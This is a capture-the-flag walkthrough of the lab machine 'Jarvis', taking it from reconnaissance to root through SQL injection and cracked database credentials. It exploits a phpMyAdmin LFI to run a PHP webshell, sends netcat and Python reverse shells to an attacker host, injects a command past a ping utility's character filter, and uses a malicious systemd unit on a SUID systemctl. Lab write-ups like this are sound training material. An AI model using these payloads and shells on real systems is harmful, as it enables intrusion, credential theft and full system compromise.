Jarvis

Reconnaissance: NMAP

┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.143

22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)

80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Aggressive OS guesses: Linux 3.2 - 4.9 (96%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 3.12 (94%), Linux 3.13 (94%), Linux 3.8 - 3.11 (94%), Linux 4.8 (94%), Linux 4.4 (94%), Linux 4.9 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.00 seconds
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.143    

68/udp open|filtered dhcpc
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1009.05 seconds

Enumeration: HTTP Port 80/tcp

WAPP
Miscellaneous
- Open Graph

Web servers
- Apache HTTP Server 2.4.25

Programming languages
- PHP

Operating systems
- Debian

JavaScript libraries
- jQuery 2.1.4
- Modernizr 2.6.2
- OWL Carousel

UI frameworks
- Bootstrap 3.3.5
Retire.js
jquery	2.1.4	Found in http://10.10.10.143/js/jquery.min.js - Vulnerability info:
medium	3rd party CORS request may execute 2432 CVE-2015-9251 GHSA-rmxg-73gg-4p98	123456
low	jQuery 1.x and 2.x are End-of-Life and no longer receiving security updates 73	1
medium	3rd party CORS request may execute 2432 CVE-2015-9251 GHSA-rmxg-73gg-4p98	123456
medium	jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution CVE-2019-11358 4333 GHSA-6c3j-c64m-qhgq	123
medium	passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. CVE-2020-11023 4647 GHSA-jpcq-cgw6-v4j6	1
medium	Regex in its jQuery.htmlPrefilter sometimes may introduce XSS CVE-2020-11022 4642 GHSA-gxr4-xjj5-5px2

http://10.10.10.143/ Contact Information: 291 South 21th Street, Suite 721 New York NY 10016 1235 2355 98 supersecurehotel@logger.htb supersecurehotel.htb

http://10.10.10.143/index.php http://10.10.10.143/rooms-suites.php http://10.10.10.143/dining-bar.php http://supersecurehotel.htb/ http://supersecurehotel.logger.htb/

Add them to the /etc/hosts file.

┌──(kali💀kali)-[~/Desktop]
└─$ sudo nano /etc/hosts             
[sudo] password for kali: 

10.10.10.143    supersecurehotel.htb
10.10.10.143    supersecurehotel.logger.htb
10.10.10.143	logger.htb

View Source Code:

view-source:http://10.10.10.143/index.php

Nikto:

┌──(kali💀kali)-[~/Desktop]
└─$ nikto -h http://10.10.10.143/

+ Server: Apache/2.4.25 (Debian)
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: Uncommon header 'ironwaf' found, with contents: 2.0.3.
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.0.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 1.
+ /phpmyadmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /phpmyadmin/: phpMyAdmin directory found.
+ /phpmyadmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. See: https://typo3.org/
+ 8051 requests: 1 error(s) and 15 item(s) reported on remote host
+ End Time:           2024-01-10 23:38:42 (GMT-5) (6031 seconds)

Gobuster:

┌──(kali💀kali)-[~]
└─$ gobuster dir -u http://supersecurehotel.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,txt

http://supersecurehotel.logger.htb/images/
http://supersecurehotel.htb/nav.php
http://supersecurehotel.htb/footer.php
http://supersecurehotel.htb/css/
http://supersecurehotel.htb/js/
http://supersecurehotel.htb/fonts/

I tried default credentials but that didn’t work.

http://supersecurehotel.htb/phpmyadmin/

Next, view the ChangeLog document to get the version number. This can also be found in the README document that nikto reported.

http://supersecurehotel.htb/connection.php http://supersecurehotel.htb/room.php http://logger.htb/

Enumeration: Website - TCP 64999

Apache httpd 2.4.25.

The gobuster and Nikto scans didn’t find anything useful for this port.

The site just has a static bit of text:

  • Hey you have been banned for 90 seconds, don’t be bad

This could be related to the WAF?

Shell as www-data

SQL Injection:

I took note earlier of room.php which took an argument, cod. I can break the page by adding a ' at the end:

http://10.10.10.143/room.php?cod=1

It doesn’t crash the page or return 500, but the information and picture for the room aren’t there anymore. This suggests SQL Injection.

TEST: SQL SLEEP

http://10.10.10.143/room.php?cod=1%20or%20sleep(10)

The easiest way to test SQLI is to through it over to sqlmap:

┌──(kali💀kali)-[~]
└─$ sqlmap -u http://10.10.10.143/room.php?cod=1

Path 1: PHPMyAdmin

I can work through this Injection manually. I’ll start by checking for a UNION injection. I’ll set cod=100 (something that returns nothing), and then add the union. I’ll start with http://10.10.10.143/room.php?cod=100 UNION SELECT 1;-- -. When that return nothing, I’ll change the SELECT to SELECT 1,2. Then 1,2,3. When I get to http://10.10.10.143/room.php?cod=100 UNION SELECT 1,2,3,4,5,6,7;-- -, parts of the page populate again:

http://10.10.10.143/room.php?cod=100 UNION SELECT 1,2,3,4,5,6,7;-- -

I can compare that to a legit cod=1:

List DBs: 
http://10.10.10.143/room.php?cod=100 UNION SELECT 1, group_concat(schema_name), 3, 4, 5, 6, 7 from information_schema.schemata;-- -
hotel,information_schema,mysql,performance_schema

Show Tables in hotel: 
http://10.10.10.143/room.php?cod=100 UNION SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='hotel' ;-- -
room

Show Columns in room: 
http://10.10.10.143/room.php?cod=100 UNION SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='room';-- -
cod,name,price,descrip,star,image,mini

Show Tables in mysql: 
http://10.10.10.143/room.php?cod=100 UNION SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='mysql' ;-- -
column_stats,columns_priv,db,event,func,general_log,gtid_slave_pos,help_category,help_keyword,help_relation,help_topic,host,index_stats,innodb_index_stats,innodb_table_stats,plugin,proc,procs_priv,proxies_priv,roles_mapping,servers,slow_log,table_stats,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,user

Show Columns in user: 
http://10.10.10.143/room.php?cod=100 UNION SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='user';-- -
Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Trigger_priv,Create_tablespace_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string,password_expired,is_role,default_role,max_statement_time

Get Username / Password: 
http://10.10.10.143/room.php?cod=100 UNION SELECT 1, user,3, 4,password, 6, 7 from mysql.user;-- -
DBadmin
*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0

A hashes.org search gives the password:
https://hashes.org/search.php
MYSQL5 2d2b7a5e4e637b8fba1d17f40318f277d29964d0:imissyou

That username / password will get into the phpmyadmin site

http://supersecurehotel.htb/phpmyadmin/index.php DBadmin imissyou

I can see the version is 4.8.0:

 Version information: 4.8.0

     Apache/2.4.25 (Debian)
    Database client version: libmysql - mysqlnd 5.0.12-dev - 20150407 - $Id: b5c5906d452ec590732a93b051f3827e02749b83 $
    PHP extension: mysqliDocumentation
    PHP version: 7.0.33-0+deb9u12

There’s an vulnerability in this version, CVE-2018-12613. It’s a local file include (LFI) that allows for remote code execution (RCE).

The LFI is because there is an inconsistency in how %3f is handled in the security check and the include. I can visit http://10.10.10.143/phpmyadmin/index.php?target=db_sql.php%3f/../../../../etc/passwd and see the include works:

http://10.10.10.143/phpmyadmin/index.php?target=db_sql.php%3f/../../../../etc/passwd
http://10.10.10.143/phpmyadmin/index.php?target=db_sql.php%3F%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false messagebus:x:105:110::/var/run/dbus:/bin/false pepper:x:1000:1000:,,,:/home/pepper:/bin/bash mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false sshd:x:107:65534::/run/sshd:/usr/sbin/nologin 

Now it’s just a matter of getting some php code I want to run on the site. I can do that by issuing a SQL query, and then including my php session info.

I’ll click on the “SQL” tab at the top, and enter the query:

SELECT '<?php system($_GET["cmd"]);?>'

Now, I’ll include my php session info. I’ll check burp to grab my phpMyAdmin cookie, and visit: http://10.10.10.143/phpmyadmin/index.php?cmd=id&target=db_sql.php%3f/../../../../../var/lib/php/sessions/sess_e3qctegac4saf72rocbl1541j26u7mqm:

Now I can get a shell changing cmd=id to cmd=nc -e /bin/sh 10.10.14.8 443:

http://10.10.10.143/phpmyadmin/index.php?cmd=nc -e /bin/sh 10.10.16.4 443
http://10.10.10.143/phpmyadmin/index.php?cmd=nc -e /bin/sh 10.10.16.4 443

nc -lnvp 443

Path 2: WebShell Via SQLi

SQLMAP:

It seems that IronWAF isn’t perfect against sqlmap. I got it to work sometimes. But with a bit of tweaking, I could get it to work reliably. The options I’ll use are --random-agent to mess with the user agent string, and low level and risk.

┌──(kali💀kali)-[~/Desktop]
└─$ sqlmap -u http://10.10.10.143:80/room.php?cod=1 --random-agent --level 1 --risk 1  --batch

[23:53:33] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Debian package 1.0.7-1)' from file '/usr/share/sqlmap/data/txt/user-agents.txt'

[23:53:34] [INFO] resuming back-end DBMS 'mysql' 

[23:53:34] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=5gjiq74q8qe...jmha2tg3v6'). Do you want to use those [Y/n] Y

sqlmap resumed the following injection point(s) from stored session:
Parameter: cod (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cod=1 AND 2976=2976

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cod=1 AND (SELECT 7910 FROM (SELECT(SLEEP(5)))VvsD)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: cod=-5480 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x587477734c4f46785168545a504e4e68576e4f74575862746e59626a6d757251525a634f63656347,0x717a7a6271),NULL,NULL-- -


[23:53:35] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

[23:53:35] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.10.143'

I can use this to dump the sql username and password:

┌──(kali💀kali)-[~/Desktop]
└─$ sqlmap -u http://10.10.10.143:80/room.php?cod=1 --random-agent --level 1 --risk 1  --batch --users --passwords

[23:55:31] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Macintosh; U; PPC Mac OS; pl-pl) AppleWebKit/412 (KHTML, like Gecko) Safari/412' from file '/usr/share/sqlmap/data/txt/user-agents.txt'                                                                                
[23:55:31] [INFO] resuming back-end DBMS 'mysql' 
[23:55:31] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=3tnrtjfq8pd...ksatsltv54'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cod=1 AND 2976=2976

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cod=1 AND (SELECT 7910 FROM (SELECT(SLEEP(5)))VvsD)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: cod=-5480 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x587477734c4f46785168545a504e4e68576e4f74575862746e59626a6d757251525a634f63656347,0x717a7a6271),NULL,NULL-- -
---
[23:55:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[23:55:33] [INFO] fetching database users
[23:55:36] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:37] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:38] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:40] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:41] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:42] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:43] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:43] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:44] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:45] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:45] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:46] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:47] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:48] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:49] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:50] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:50] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:51] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:52] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:53] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:53] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:54] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:55] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:56] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:56] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:57] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:58] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:59] [INFO] retrieved: ''DBadmin'@'localhost''
database management system users [1]:                                                           
[*] 'DBadmin'@'localhost'

[23:55:59] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] Y
[23:56:03] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[23:56:03] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[23:56:03] [INFO] starting dictionary-based cracking (mysql_passwd)
[23:56:03] [INFO] starting 2 processes 
[23:56:12] [INFO] cracked password 'imissyou' for user 'DBadmin'                                
database management system users password hashes:                                               
[*] DBadmin [1]:
    password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
    clear-text password: imissyou

I can use that to do the same phpmyadmin attack as shown above. But I can also use it to write a webshell:

sqlmap -u http://10.10.10.143:80/room.php?cod=1 --random-agent --level 1 --risk 1  --batch --file-write /opt/shells/php/cmd.php --file-dest /var/www/html/0xdf.php

Upon substituting the room’s number with either a quote ( ‘ ) or a comment (--), we observed a 404 response. Consequently, we initiated SQL injection testing on the target using the sqlmap tool, with a shell scan option (--os-shell) as a precautionary measure to potentially gain a shell.

┌──(kali💀kali)-[~/Desktop]
└─$ sudo sqlmap -u http://10.10.10.143/room.php?cod=1 --dbs --batch --os-shell

And we could have a shell using sqlmap, let’s upgrade it to a regular shell by first starting a listener.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

os-shell> python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Priv: www-data –> pepper

And we have a shell, let’s check what privileges we have here.

www-data@jarvis:/var/www/html$ sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

And we can can run /var/www/Admin-Utilities/simpler.py as pepper . Let’s have a look at the content of the simpler.py script.

www-data@jarvis:/var/www/html$ cd /var/www/Admin-Utilities/ 

www-data@jarvis:/var/www/Admin-Utilities$ cat simpler.py

#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re

def show_help():
    message='''
********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP
    '''
    print(message)

def show_header():
    print('''***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************
''')

def show_statistics():
    path = '/home/pepper/Web/Logs/'
    print('Statistics\n-----------')
    listed_files = listdir(path)
    count = len(listed_files)
    print('Number of Attackers: ' + str(count))
    level_1 = 0
    dat = datetime(1, 1, 1)
    ip_list = []
    reks = []
    ip = ''
    req = ''
    rek = ''
    for i in listed_files:
        f = open(path + i, 'r')
        lines = f.readlines()
        level2, rek = get_max_level(lines)
        fecha, requ = date_to_num(lines)
        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if fecha > dat:
            dat = fecha
            req = requ
            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if int(level2) > int(level_1):
            level_1 = level2
            ip_list = [ip]
            reks=[rek]
        elif int(level2) == int(level_1):
            ip_list.append(ip)
            reks.append(rek)
        f.close()

    print('Most Risky:')
    if len(ip_list) > 1:
        print('More than 1 ip found')
    cont = 0
    for i in ip_list:
        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
        cont = cont + 1

    print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)

def list_ip():
    print('Attackers\n-----------')
    path = '/home/pepper/Web/Logs/'
    listed_files = listdir(path)
    for i in listed_files:
        f = open(path + i,'r')
        lines = f.readlines()
        level,req = get_max_level(lines)
        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
        f.close()

def date_to_num(lines):
    dat = datetime(1,1,1)
    ip = ''
    req=''
    for i in lines:
        if 'Level' in i:
            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
            regex = '(\d+)-(.*)-(\d+)(.*)'
            logEx=re.match(regex, fecha).groups()
            mes = to_dict(logEx[1])
            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
            if fecha > dat:
                dat = fecha
                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
    return dat, req

def to_dict(name):
    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
    return month_dict[name]

def get_max_level(lines):
    level=0
    for j in lines:
        if 'Level' in j:
            if int(j.split(' ')[4]) > int(level):
                level = j.split(' ')[4]
                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
    return level, req

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()
cd /tmp

www-data@jarvis:/tmp$ echo -e '#!/bin/bash\n\nnc -e /bin/bash 10.10.16.4 443' > /tmp/d.sh

www-data@jarvis:/tmp$ chmod +x /tmp/d.sh

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

Enter an IP: $(/tmp/d.sh)
┌──(kali💀kali)-[~]
└─$ nc -nlvp 443 

python3 -c 'import pty; pty.spawn("/bin/bash")'

pepper@jarvis:/tmp$ cat /home/pepper/user.txt
c5e4ae2----------------------------

pepper@jarvis:/tmp$ id
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)

Priv: pepper –> root

To view the root.txt flag, we need to escalate our privileges to root. Let’s transfer the LinEnum script from our attack machine to the target machine.

In the attack machine, start up a server in the same directory that the script resides in.

┌──(kali💀kali)-[~/Desktop/7. Priv Esc]
└─$ python -m SimpleHTTPServer 5555

In the target machine, change to the /tmp directory where we have write privileges and download the LinEnum script.

pepper@jarvis:~$ cd /tmp

pepper@jarvis:/tmp$ wget http://10.10.16.4:5555/LinEnum.sh

pepper@jarvis:/tmp$ chmod +x LinEnum.sh

[-] SUID files:
-rwsr-xr-x 1 root root 30800 Aug 21  2018 /bin/fusermount
-rwsr-xr-x 1 root root 44304 Mar  7  2018 /bin/mount
-rwsr-xr-x 1 root root 61240 Nov 10  2016 /bin/ping
-rwsr-x--- 1 root pepper 174520 Jun 29  2022 /bin/systemctl
-rwsr-xr-x 1 root root 31720 Mar  7  2018 /bin/umount
-rwsr-xr-x 1 root root 40536 Mar 17  2021 /bin/su
-rwsr-xr-x 1 root root 40312 Mar 17  2021 /usr/bin/newgrp
-rwsr-xr-x 1 root root 59680 Mar 17  2021 /usr/bin/passwd
-rwsr-xr-x 1 root root 75792 Mar 17  2021 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 40504 Mar 17  2021 /usr/bin/chsh
-rwsr-xr-x 1 root root 140944 Jan 23  2021 /usr/bin/sudo
-rwsr-xr-x 1 root root 50040 Mar 17  2021 /usr/bin/chfn
-rwsr-xr-x 1 root root 10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 440728 Mar  1  2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 42992 Jun  9  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

-rwsr-x--- 1 root pepper 174520 Jun 29  2022 /bin/systemctl

Let’s have a look at the suid binaries using the command below.

pepper@jarvis:/tmp$ find / -perm -4000 2>/dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

The systemctl binary has the setuid bit set and it’s owned by root. We can use that to our advantage and escalate to root privileges. If you’re not sure how to do that, you can search the binary name on GTFO bins and check how the suid bit can be used to escalate privileges.

Blog explaining how to set up a service and use the misconfigured systemctl binary to send a privileged reverse shell back to our attack machine.

First, create a pwn.service file with the following content.

┌──(kali💀kali)-[~/Desktop]
└─$ sudo nano pwn.service  

[Service]
[Unit]
Description=root

[Service]
Type=Simple
user=root
ExecStart=/bin/sh -c 'nc -e /bin/bash 10.10.16.4 9999'

[Install]
WantedBy=multi-user.target
┌──(kali💀kali)-[~/Desktop]
└─$ python -m SimpleHTTPServer 5555

pepper@jarvis:~$ wget http://10.10.16.4:5555/pwn.service

pepper@jarvis:~$ chmod +x pwn.service

pepper@jarvis:~$ /bin/systemctl enable /home/pepper/pwn.service
Created symlink /etc/systemd/system/multi-user.target.wants/pwn.service -> /home/pepper/pwn.service.

pepper@jarvis:~$ /bin/systemctl start pwn.service 
┌──(kali💀kali)-[~/Desktop]
└─$ nc -lnvp 9999      
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.143] 56492

python3 -c 'import pty; pty.spawn("/bin/bash")'
root@jarvis:/# 

root@jarvis:/# id
uid=0(root) gid=0(root) groups=0(root)

root@jarvis:/# cat /root/root.txt
a572b8b7-----------------------------

Last updated